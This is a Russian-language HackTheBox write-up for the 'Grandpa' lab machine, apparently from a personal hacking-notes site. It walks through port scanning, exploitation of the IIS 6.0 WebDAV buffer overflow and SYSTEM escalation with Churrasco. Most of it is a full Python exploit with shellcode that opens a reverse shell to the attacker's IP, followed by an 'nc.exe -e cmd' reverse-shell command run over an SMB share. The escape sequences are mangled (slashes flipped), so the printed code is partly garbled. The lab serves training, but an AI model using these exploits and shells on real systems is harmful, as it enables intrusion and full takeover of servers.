> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/grandpa-hackthebox-writeup.md).

# Разбор HackTheBox Grandpa

Разбор Easy Windows-машины HackTheBox Grandpa, охватывающий Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' удалённое переполнение буфера (RCE), похищение токена - Churrasco (повышение привилегий), с практич

{% embed url="<https://app.hackthebox.com/machines/Grandpa>" %}

{% hint style="warning" %}
**Навыки:**

* Microsoft IIS 6.0 — удалённое переполнение буфера WebDAV 'ScStoragePathFromUrl' (RCE)
* Похищение токена — Churrasco (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b082587d755afe576b216c4dda1ff7e31930a17%2F%7BF51BA4AF-44C1-4EC3-AF5A-450EA752BC1B%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения к VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c3555ee33402148daddc17077b4333662ea375f1%2F%7BEF869424-70BA-4A8F-8A3B-D154073F9EAE%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Поиск открытых портов с Nmap: 80**

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.14 -oG allPortsbash
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc60ce83e742af5a538131d47bf707a37f4e5db5%2F%7B1112E4D0-ABAB-4323-AD56-FCBE635BF133%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

```bash
nmap -sCV -p80 10.10.10.14 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8ec923df7e6272beb46d4aad53089ab43d9980cb%2F%7B7432451F-5ED2-430A-A6AA-4AA1377D60BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Мы замечаем, что страница использует **WebDAV** под **Microsoft-IIS 6.0**.

## Эксплуатация WebDAV - Microsoft-IIS 6.0

**Проверка загрузки с Davtest**

Проверяем, можем ли мы внедрять вредоносные файлы:

```bash
davtest -url http://10.10.10.14
```

Однако каждое расширение возвращает **сбой**, что указывает на то, что загрузка ограничена.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e4cb6bc5384505ad410c7c6260c3c3349448a32%2F%7B10806CDB-424A-424F-B244-522D83E564E8%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Поскольку мы подтвердили, что сервер работает **IIS 6.0**, мы эксплуатируем уязвимость **переполнение буфера** обнаруженную в 2017 году.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-101e795548655b488c6a9fe30c44a9a2c5bc9750%2F%7B69DA912E-B759-4168-9442-404FD35261C8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Вот Python-скрипт для эксплуатации этой уязвимости и получения shell:

{% embed url="<https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269>" %}

```python
import sys
import struct
import socket  

if len(sys.argv)<5:
    print 'использование:iis6webdav.py targetip targetport reverseip reverseport/n'
    exit(1)
targetip = sys.argv[1]
targetport = int(sys.argv[2])
reverseip = sys.argv[3]
reverseport = int(sys.argv[4])

shellcode='/x55/x8B/xEC/x81/xEC/xDC/x05/x00/x00/x53/x56/x57/x8B/x45/x08/x8B'+/
'\/x40/x78/x89/x85/xE4/xFA/xFF/xFF/x8B/x45/x08/x8B/x40/x70/x89/x45'+/
'\/xFC/xC7/x85/xC8/xFC/xFF/xFF/x77/x73/x32/x5F/xC7/x85/xCC/xFC/xFF'+/
'\/xFF/x33/x32/x2E/x64/xC7/x85/xD0/xFC/xFF/xFF/x6C/x6C/x00/x00/xC7'+/
'\/x85/xD8/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/xDC/xFA/xFF/xFF/x74'+/
'\/x61/x72/x74/xC7/x85/xE0/xFA/xFF/xFF/x75/x70/x00/x00/xC7/x85/x58'+/
'\/xFA/xFF/xFF/x57/x53/x41/x53/xC7/x85/x5C/xFA/xFF/xFF/x6F/x63/x6B'+/
'\/x65/xC7/x85/x60/xFA/xFF/xFF/x74/x41/x00/x00/xC7/x85/xE8/xFC/xFF'+/
'\/xFF/x57/x53/x41/x43/xC7/x85/xEC/xFC/xFF/xFF/x6F/x6E/x6E/x65/xC7'+/
'\/x85/xF0/xFC/xFF/xFF/x63/x74/x00/x00/xC7/x85/xA8/xFA/xFF/xFF/x69'+/
'\/x6E/x65/x74/xC7/x85/xAC/xFA/xFF/xFF/x5F/x61/x64/x64/xC7/x85/xB0'+/
'\/xFA/xFF/xFF/x72/x00/x00/x00/xC7/x85/x14/xFD/xFF/xFF/x68/x74/x6F'+/
'\/x6E/xC7/x85/x18/xFD/xFF/xFF/x73/x00/x00/x00/xC7/x85/xF4/xFC/xFF'+/
'\/xFF/x43/x3A/x5C/x57/xC7/x85/xF8/xFC/xFF/xFF/x69/x6E/x64/x6F/xC7'+/
'\/x85/xFC/xFC/xFF/xFF/x77/x73/x5C/x73/xC7/x85/x00/xFD/xFF/xFF/x79'+/
'\/x73/x74/x65/xC7/x85/x04/xFD/xFF/xFF/x6D/x33/x32/x5C/xC7/x85/x08'+/
'\/xFD/xFF/xFF/x63/x6D/x64/x2E/xC7/x85/x0C/xFD/xFF/xFF/x65/x78/x65'+/
'\/x00/xC7/x85/x18/xFB/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/x1C/xFB/xFF'+/
'\/xFF/x69/x6E/x64/x6F/xC7/x85/x20/xFB/xFF/xFF/x77/x73/x5C/x73/xC7'+/
'\/x85/x24/xFB/xFF/xFF/x79/x73/x74/x65/xC7/x85/x28/xFB/xFF/xFF/x6D'+/
'\/x33/x32/x5C/xC7/x85/x2C/xFB/xFF/xFF/x63/x61/x6C/x63/xC7/x85/x30'+/
'\/xFB/xFF/xFF/x2E/x65/x78/x65/x83/xA5/x34/xFB/xFF/xFF/x00/xC7/x85'+/
'\/xE8/xFA/xFF/xFF/x43/x3A/x5C/x57/xC7/x85/xEC/xFA/xFF/xFF/x49/x4E'+/
'\/x44/x4F/xC7/x85/xF0/xFA/xFF/xFF/x57/x53/x5C/x49/xC7/x85/xF4/xFA'+/
'\/xFF/xFF/x49/x53/x20/x54/xC7/x85/xF8/xFA/xFF/xFF/x65/x6D/x70/x6F'+/
'\/xC7/x85/xFC/xFA/xFF/xFF/x72/x61/x72/x79/xC7/x85/x00/xFB/xFF/xFF'+/
'\/x20/x43/x6F/x6D/xC7/x85/x04/xFB/xFF/xFF/x70/x72/x65/x73/xC7/x85'+/
'\/x08/xFB/xFF/xFF/x73/x65/x64/x20/xC7/x85/x0C/xFB/xFF/xFF/x46/x69'+/
'\/x6C/x65/xC7/x85/x10/xFB/xFF/xFF/x73/x5C/x63/x2E/xC7/x85/x14/xFB'+/
'\/xFF/xFF/x65/x78/x65/x00/xC7/x85/xD0/xFA/xFF/xFF'+struct.pack('i',reverseport)+/
'\/xE9/x3E/x04/x00/x00/x5F/x89/xBD/xB4/xFA/xFF/xFF/xE8/x4C/x04/x00'+/
'\/x00/x89/x85/x24/xFA/xFF/xFF/x68/x53/xC0/x49/x9C/xFF/xB5/x24/xFA'+/
'\/xFF/xFF/xE8/x5D/x04/x00/x00/x59/x59/x89/x85/x28/xFA/xFF/xFF/x68'+/
'\/x5A/xC1/xCB/xC2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x45/x04/x00/x00/x59'+/
'\/x59/x89/x85/x2C/xFA/xFF/xFF/x68/x1C/xC9/x05/xBA/xFF/xB5/x24/xFA'+/
'\/xFF/xFF/xE8/x2D/x04/x00/x00/x59/x59/x89/x85/x30/xFA/xFF/xFF/x68'+/
'\/x54/x34/x4F/xA2/xFF/xB5/x24/xFA/xFF/xFF/xE8/x15/x04/x00/x00/x59'+/
'\/x59/x89/x85/x34/xFA/xFF/xFF/x68/x12/x75/x1D/x45/xFF/xB5/x24/xFA'+/
'\/xFF/xFF/xE8/xFD/x03/x00/x00/x59/x59/x89/x85/x38/xFA/xFF/xFF/x68'+/
'\/xE9/x65/x73/x1B/xFF/xB5/x24/xFA/xFF/xFF/xE8/xE5/x03/x00/x00/x59'+/
'\/x59/x89/x85/x3C/xFA/xFF/xFF/x68/x3A/xFD/xFB/x1E/xFF/xB5/x24/xFA'+/
'\/xFF/xFF/xE8/xCD/x03/x00/x00/x59/x59/x89/x85/x40/xFA/xFF/xFF/x68'+/
'\/xBD/x50/xD7/x2D/xFF/xB5/x24/xFA/xFF/xFF/xE8/xB5/x03/x00/x00/x59'+/
'\/x59/x89/x85/x44/xFA/xFF/xFF/x68/xEF/x60/x08/xE7/xFF/xB5/x24/xFA'+/
'\/xFF/xFF/xE8/x9D/x03/x00/x00/x59/x59/x89/x85/x48/xFA/xFF/xFF/x68'+/
'\/x83/x94/x7B/x10/xFF/xB5/x24/xFA/xFF/xFF/xE8/x85/x03/x00/x00/x59'+/
'\/x59/x89/x85/x4C/xFA/xFF/xFF/x68/x49/x17/x55/xC0/xFF/xB5/x24/xFA'+/
'\/xFF/xFF/xE8/x6D/x03/x00/x00/x59/x59/x89/x85/x50/xFA/xFF/xFF/x68'+/
'\/xD9/xE5/x1A/x06/xFF/xB5/x24/xFA/xFF/xFF/xE8/x55/x03/x00/x00/x59'+/
'\/x59/x89/x85/x54/xFA/xFF/xFF/x8D/x85/xC8/xFC/xFF/xFF/x50/xFF/x95'+/
'\/x28/xFA/xFF/xFF/x89/x85/x1C/xFD/xFF/xFF/x83/xBD/x1C/xFD/xFF/xFF'+/
'\/x00/x0F/x84/x39/x01/x00/x00/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D'+/
'\/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4'+/
'\/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x64'+/
'\/xFA/xFF/xFF/x00/xEB/xDA/x83/xA5/xD4/xFA/xFF/xFF/x00/xEB/x0D/x8B'+/
'\/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF/xFF/x83/xBD/xD4/xFA'+/
'\/xFF/xFF/x10/x73/x10/x8B/x85/xD4/xFA/xFF/xFF/x80/xA4/x05/x20/xFD'+/
'\/xFF/xFF/x00/xEB/xDA/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA'+/
'\/xFF/xFF/x50/x6A/x00/x6A/x00/x6A/x04/x6A/x00/x6A/x00/x6A/x00/x6A'+/
'\/x00/x8D/x85/x18/xFB/xFF/xFF/x50/xFF/x95/x34/xFA/xFF/xFF/xFF/xB5'+/
'\/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/x68/xE8/x03/x00/x00/xFF'+/
'\/x95/x54/xFA/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x40/xFA/xFF'+/
'\/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D/x85/x30/xFD/xFF'+/
'\/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x44/xFA/xFF/xFF/x6A/x40'+/
'\/x68/x00/x10/x00/x00/xFF/x75/xFC/x6A/x00/xFF/xB5/x20/xFD/xFF/xFF'+/
'\/xFF/x95/x48/xFA/xFF/xFF/x89/x85/x10/xFD/xFF/xFF/x6A/x00/xFF/x75'+/
'\/xFC/xFF/xB5/xE4/xFA/xFF/xFF/xFF/xB5/x10/xFD/xFF/xFF/xFF/xB5/x20'+/
'\/xFD/xFF/xFF/xFF/x95/x4C/xFA/xFF/xFF/x8B/x85/x10/xFD/xFF/xFF/x89'+/
'\/x85/xE8/xFD/xFF/xFF/xC7/x85/x30/xFD/xFF/xFF/x01/x00/x01/x00/x8D'+/
'\/x85/x30/xFD/xFF/xFF/x50/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x50/xFA'+/
'\/xFF/xFF/xFF/xB5/x24/xFD/xFF/xFF/xFF/x95/x3C/xFA/xFF/xFF/xEB/x1E'+/
'\/x6A/x00/x8D/x85/xE8/xFA/xFF/xFF/x50/x8D/x85/xF4/xFC/xFF/xFF/x50'+/
'\/xFF/x95/x30/xFA/xFF/xFF/x6A/x01/xFF/x95/x38/xFA/xFF/xFF/x68/x70'+/
'\/x17/x00/x00/xFF/x95/x54/xFA/xFF/xFF/x8D/x85/xD8/xFA/xFF/xFF/x50'+/
'\/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xBC/xFA'+/
'\/xFF/xFF/x8D/x85/x58/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF'+/
'\/x95/x2C/xFA/xFF/xFF/x89/x85/xC0/xFA/xFF/xFF/x8D/x85/xE8/xFC/xFF'+/
'\/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85'+/
'\/xC4/xFA/xFF/xFF/x8D/x85/xA8/xFA/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF'+/
'\/xFF/xFF/x95/x2C/xFA/xFF/xFF/x89/x85/xC8/xFA/xFF/xFF/x8D/x85/x14'+/
'\/xFD/xFF/xFF/x50/xFF/xB5/x1C/xFD/xFF/xFF/xFF/x95/x2C/xFA/xFF/xFF'+/
'\/x89/x85/xCC/xFA/xFF/xFF/x8D/x85/x38/xFB/xFF/xFF/x50/x68/x02/x02'+/
'\/x00/x00/xFF/x95/xBC/xFA/xFF/xFF/x6A/x00/x6A/x00/x6A/x00/x6A/x06'+/
'\/x6A/x01/x6A/x02/xFF/x95/xC0/xFA/xFF/xFF/x89/x85/xD4/xFC/xFF/xFF'+/
'\/x66/xC7/x85/xD8/xFC/xFF/xFF/x02/x00/xFF/xB5/xD0/xFA/xFF/xFF/xFF'+/
'\/x95/xCC/xFA/xFF/xFF/x66/x89/x85/xDA/xFC/xFF/xFF/xFF/xB5/xB4/xFA'+/
'\/xFF/xFF/xFF/x95/xC8/xFA/xFF/xFF/x89/x85/xDC/xFC/xFF/xFF/x6A/x00'+/
'\/x6A/x00/x6A/x00/x6A/x00/x6A/x10/x8D/x85/xD8/xFC/xFF/xFF/x50/xFF'+/
'\/xB5/xD4/xFC/xFF/xFF/xFF/x95/xC4/xFA/xFF/xFF/x83/xA5/xD4/xFA/xFF'+/
'\/xFF/x00/xEB/x0D/x8B/x85/xD4/xFA/xFF/xFF/x40/x89/x85/xD4/xFA/xFF'+/
'\/xFF/x83/xBD/xD4/xFA/xFF/xFF/x44/x73/x10/x8B/x85/xD4/xFA/xFF/xFF'+/
'\/x80/xA4/x05/x64/xFA/xFF/xFF/x00/xEB/xDA/xC7/x85/x64/xFA/xFF/xFF'+/
'\/x44/x00/x00/x00/xC7/x85/x90/xFA/xFF/xFF/x01/x01/x00/x00/x8B/x85'+/
'\/xD4/xFC/xFF/xFF/x89/x85/xA4/xFA/xFF/xFF/x8B/x85/xA4/xFA/xFF/xFF'+/
'\/x89/x85/xA0/xFA/xFF/xFF/x8B/x85/xA0/xFA/xFF/xFF/x89/x85/x9C/xFA'+/
'\/xFF/xFF/x8D/x85/x20/xFD/xFF/xFF/x50/x8D/x85/x64/xFA/xFF/xFF/x50'+/
'\/x6A/x00/x6A/x00/x6A/x00/x6A/x01/x6A/x00/x6A/x00/x8D/x85/xE8/xFA'+/
'\/xFF/xFF/x50/x6A/x00/xFF/x95/x34/xFA/xFF/xFF/x6A/x01/xFF/x95/x38'+/
'\/xFA/xFF/xFF/xE8/xBD/xFB/xFF/xFF'+struct.pack('16s',reverseip)+'/x5F/x5E/x5B/xC9/xC3/x64/xA1/x18'+/
'\/x00/x00/x00/x8B/x40/x30/x33/xC9/x8B/x40/x0C/x8B/x40/x1C/x8B/x00'+/
'\/x8B/x50/x20/x66/x83/x7A/x10/x2E/x74/x06/x41/x83/xF9/x02/x7C/xEE'+/
'\/x8B/x40/x08/xC3/x55/x8B/xEC/x53/x56/x57/x8B/x7D/x08/x83/x65/x08'+/
'\/x00/x8B/x47/x3C/x8B/x44/x38/x78/x03/xC7/x8B/x70/x20/x03/xF7/x83'+/
'\/x78/x18/x00/x76/x2A/x8B/x0E/x03/xCF/x33/xDB/x8A/x11/x84/xD2/x74'+/
'\/x0B/x6B/xDB/x21/x0F/xBE/xD2/x03/xDA/x41/xEB/xEF/x3B/x5D/x0C/x74'+/
'\/x15/x83/xC6/x04/xFF/x45/x08/x8B/x4D/x08/x3B/x48/x18/x72/xD6/x33'+/
'\/xC0/x5F/x5E/x5B/x5D/xC3/x8B/x48/x24/x8B/x55/x08/x8B/x40/x1C/x8D'+/
'\/x0C/x51/x0F/xB7/x0C/x39/x8D/x04/x88/x8B/x04/x38/x03/xC7/xEB/xE1'
shellcodelen = 1744

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
sock.connect((targetip,targetport))
pay='PROPFIND / HTTP/1.1/r/nHost: localhost/r/nContent-Length: %d/r/n'%shellcodelen
pay+='If: <http://localhost/aaaaaaa'
pay+='/xe6/xbd/xa8/xe7/xa1/xa3/xe7/x9d/xa1/xe7/x84/xb3/xe6/xa4/xb6/xe4/x9d/xb2/xe7/xa8/xb9/xe4/xad/xb7/xe4/xbd/xb0/xe7/x95/x93/xe7/xa9/x8f/xe4/xa1/a8/xe5/x99/xa3/xe6/xb5/x94/xe6/xa1/x85/xe3/xa5/x93/xe5/x81/xac/xe5/x95/xa7/xe6/x9d/xa3/xe3/x8d/xa4/xe4/x98/xb0/xe7/xA1/x85/xe6/xA5/92/xe5/x90/xb1/xe4/xB1/x98/xe6/xA9/x91/xe7/x89/x81/xe4/x88/xB1/xe7/x80/xb5/xe5/xA1/x90/xe3/x99/xA4/xe6/xB1/x87/xe3/x94/xb9/xe5/x91/xAA/xe5/x80/xb4/xe5/x91/x83/xe7/x9d/x92/xe5/x81/xA1/xe3/x88/xb2/xe6/xB5/x8B/xe6/xB0/xB4/xe3/x89/x87/xe6/x89/x81/xe3/x9d/x8d/xe5/x85/xa1/xe5/xA1/xA2/xe4/x9d/xb3/xe5/x89/x90/xe3/x99/xB0/xe7/x95/x84/xe6/xA1/xAA/xe3/x8d/xb4/xe4/xB9/x8A/xe7/xA1/xAB/xe4/xA5/xB6/xe4/xB9/xB3/xe4/xB1/xAA/xe5/x9d/xba/xe6/xBD/xb1/xe5/xA1/x8A/xe3/x88/xB0/xe3/x9d/xAE/xe4/xAD/x89/xe5/x89/x8D/xe4/xA1/xA3/xe6/xBD/x8C/xe7/x95/x96/xe7/x95/xB5/xe6/x99/xAF/xe7/x99/xA8/xe4/x91/x8D/xe5/x81/xB0/xe7/xA8/xb6/xe6/x89/x8B/xe6/x95/x97/xe7/x95/x90/xe6/xA9/xB2/xe7/xA9/xAB/xe7/x9d/xA2/xe7/x99/x98/xe6/x89/x88/xe6/x94/xb1/xe3/x81/x94/xe6/xB1/xB9/xe5/x81/x8A/xe5/x91/xA2/xe5/x80/xb3/xe3/x95/xB7/xe6/xA9/xB7/xe4/x85/x84/xe3/x8C/xB4/xe6/x91/xB6/xe4/xB5/x86/xe5/x99/x94/xe4/x9d/xAC/xe6/x95/x83/xe7/x98/xB2/xe7/x89/xb8/xe5/x9d/xA9/xe4/x8C/xB8/xe6/x89/xB2/xe5/xA8/xB0/xe5/xA4/xB8/xe5/x91/x88/xc8/x82/xc8/x82/xe1/x8B/x80/xe6/xA0/x83/xe6/xB1/x84/xe5/x89/x96/xe4/xAC/xB7/xe6/xB1/xAD/xe4/xBD/x98/xe5/xA1/x9A/xe7/xA5/x90/xe4/xA5/xAA/xe5/xA1/x8F/xe4/xA9/x92/xe4/x85/x90/xe6/x99/x8D/xe1/x8f/x80/xe6/xA0/x83/xe4/xA0/xB4/xe6/x94/xb1/xe6/xBD/x83/xe6/xB9/xA6/xe7/x91/x81/xe4/x8d/xAC/xe1/x8f/x80/xe6/xA0/x83/xe5/x8d/x83/xe6/xA9/x81/xe7/x81/x92/xe3/x8c/xB0/xe5/xA1/xA6/xe4/x89/x8C/xe7/x81/x8B/xe6/x8d/x86/xe5/x85/xb3/xe7/xA5/x81/xe7/xA9/x90/xe4/xA9/xAC'
pay+='>'
pay+=' (Not <locktoken:write1>) <http://localhost/bbbbbbb'
pay+='/xe7/xA5/x88/xe6/x85/xb5/xe4/xBD/x83/xe6/xBD/xA7/xe6/xAD/xAF/xe4/xA1/x85/xe3/x99/x86/xe6/x9D/xb5/xe4/x90/xB3/xe3/xA1/xB1/xe5/x9D/xA5/xe5/xA9/xA2/xe5/x90/xB5/xe5/x99/xA1/xe6/xA5/92/xe6/xA9/x93/xe5/x85/x97/xe3/xA1/x8E/xe5/xA5/x88/xe6/x8d/x95/xe4/xA5/xB1/xe4/x8d/xa4/xe6/x91/xb2/xe3/x91/xa8/xe4/x9d/x98/xe7/x85/xb9/xe3/x8d/xAB/xe6/xAD/x95/xe6/xB5/x88/xe5/x81/x8F/xe7/xA9/x86/xe3/x91/xB1/xe6/xBD/x94/xe7/x91/x83/xe5/xA5/x96/xe6/xBD/xAF/xe7/x8D/x81/xe3/x91/x97/xe6/x85/xA8/xe7/xA9/xb2/xe3/x9d/x85/xe4/xB5/x89/xe5/x9D/x8E/xe5/x91/x88/xe4/xB0/xB8/xe3/x99/xBA/xe3/x95/xB2/xe6/x89/xA6/xe6/xB9/x83/xe4/xA1/xAD/xe3/x95/x88/xe6/x85/xb7/xe4/xB5/x9A/xe6/x85/xb4/xe4/x84/xB3/xe4/x8d/xA5/xe5/x89/xB2/xe6/xB5/xA9/xe3/x99/xB1/xe4/xB9/xA4/xe6/xB8/xB9/xe6/x8d/x93/xe6/xAD/xA4/xe5/x85/x86/xe4/xBC/xb0/xe7/xA1/xAF/xe7/x89/x93/xe6/x9D/x90/xe4/x95/x93/xe7/xA9/xA3/xe7/x84/xB9/xe4/xBD/x93/xe4/x91/x96/xe6/xBC/xb6/xe7/x8D/xb9/xe6/xA1/xB7/xe7/xA9/x96/xe6/x85/x8A/xe3/xA5/x85/xe3/x98/xB9/xe6/xB0/xB9/xe4/x94/xB1/xe3/x91/xB2/xe5/x8d/xa5/xe5/xA1/x8A/xe4/x91/x8e/xe7/xA9/x84/xe6/xB0/xB5/xe5/xA9/x96/xe6/x89/x81/xe6/xB9/xB2/xe6/x98/xB1/xe5/xA5/x99/xe5/x90/xB3/xe3/x85/x82/xe5/xA1/xA5/xe5/xA5/x81/xe7/x85/x90/xe3/x80/xb6/xe5/x9D/xB7/xe4/x91/x97/xe5/x8d/xa1/xe1/x8f/x80/xe6/xA0/x83/xe6/xB9/x8F/xe6/xA0/x80/xe6/xB9/x8F/xe6/xA0/x80/xe4/x89/x87/xe7/x99/xAA/xe1/x8f/x80/xe6/xA0/x83/xe4/x89/x97/xe4/xBD/xb4/xe5/xA5/x87/xe5/x88/xb4/xe4/xAD/xA6/xe4/xAD/x82/xe7/x91/xA4/xe7/xA1/xAF/xe6/x82/x82/xe6/xA0/x81/xe5/x84/xB5/xe7/x89/xBA/xe7/x91/xBA/xe4/xB5/x87/xe4/x91/x99/xe5/x9D/x97/xeb/x84/x93/xe6/xA0/x80/xe3/x85/xB6/xe6/xB9/xAF/xe2/x93/xA3/xe6/xA0/x81/xe1/x91/xA0/xe6/xA0/x83/xcc/x80/xe7/xbf/xBE/xef/xbf/xbf/xef/xbf/xbf/xe1/x8f/x80/xe6/xA0/x83/xd1/xAE/xe6/xA0/x83/xe7/x85/xAE/xe7/x91/xB0/xe1/x90/xB4/xe6/xA0/x83/xe2/xA7/xA7/xe6/xA0/x81/xe9/x8E/x91/xe6/xA0/x80/xe3/xA4/xB1/xe6/x99/xAE/xe4/xA5/x95/xe3/x81/x92/xe5/x91/xAB/xe7/x99/xAB/xe7/x89/x8A/xe7/xA5/xA1/xe1/x90/x9C/xe6/xA0/x83/xe6/xB8/x85/xe6/xA0/x80/xe7/x9C/xb2/xe7/xA5/xA8/xe4/xB5/xA9/xe3/x99/xAC/xe4/x91/xA8/xe4/xB5/xB0/xe8/x89/x86/xe6/xA0/x80/xe4/xA1/xB7/xe3/x89/x93/xe1/xB6/xAA/xe6/xA0/x82/xe6/xBD/xAA/xe4/x8C/xB5/xe1/x8f/xB8/xe6/xA0/x83/xe2/xA7/xA7/xe6/xA0/x81'
smallsc='VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A'
pay+=smallsc
pay+='>/r/n/r/n'
print pay
sock.send(pay)
sock.send(shellcode)
data = sock.recv(80960)  
print data 
sock.close
```

#### Мы слушаем порт 443:

```bash
rlwrap nc -nvlp 443
```

#### Затем мы запускаем feat:

```bash
python2 iis6webdav.py 10.10.10.14 80 10.10.14.32 443
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b522822278c078c470f358f80140810e5d9577e%2Fimage%20(2813).png?alt=media" alt=""><figcaption></figcaption></figure>

## Повышение привилегий

### Эксплуатация ядра — Windows Server 2003 <a href="#windows-server-2003-kernel-exploitation" id="windows-server-2003-kernel-exploitation"></a>

Запустив `systeminfo` командой, мы обнаруживаем, что целевой компьютер работает под **Windows Server 2003**, устаревшей и уязвимой операционной системой:

```bash
systeminfo
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ef6e38008f234310df390d17f0f81aaeabe4f93%2F%7BF5CDE9FC-A2A2-412F-B585-D9CBB15E317E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Кроме того, у нас есть привилегия **SeImpersonatePrivilege**, что позволяет нам попытаться повысить привилегии, используя известные техники.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30f15dd7b2709a35d9fc92ede975e1da3ef6b983%2F%7BE5C81EE1-4019-4E9F-89FD-9FE9A1BC8C7F%7D.png?alt=media" alt="" width="542"><figcaption></figcaption></figure>

#### Используя churrasco.exe

Для эксплуатации этой уязвимости мы будем использовать **churrasco.exe**, эксплойт для получения привилегий SYSTEM.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Передача файлов Windows (SMB)/*/*

> Мы используем **smbserver.py** для расшаривания каталога, содержащего файл эксплойта 40627.exe. Затем этот файл копируется на целевую машину.

```bash
smbserver.py share $(pwd) -smb2support
```

С целевой машины мы скопировали файл эксплойта в текущий каталог:

```bash
copy //10.10.14.32/share/churrasco.exe churrasco.exe
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f14f2a8fa3126bc6e4fc24e6e4616bb0a73f7ab2%2F%7B3581F8F7-6917-4900-A246-930213332D61%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Затем мы можем выполнить любую команду с этим бинарным файлом, например:

```bash
./churrasco.exe "whoami"
```

Если эксплойт работает правильно, мы должны увидеть **NT AUTHORITY/SYSTEM**.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d2fe4aa81eacac25e2779a7e4f14089112b104c%2F%7B6F7BC816-C0C4-481D-BFAA-878ED4A10DC7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Установить обратную оболочку**

Чтобы установить обратную оболочку, мы слушаем порт 443:

```bash
rlwrap nc -nvlp 443
```

Мы снова создаем SMB-сервер с **nc.exe**

```bash
smbserver.py share $(pwd) -smb2support
```

Наконец, выполняем обратную оболочку следующей командой:

```bash
./churrasco.exe "//10.10.14.32/share/nc.exe -e cmd 10.10.14.32 443"
```

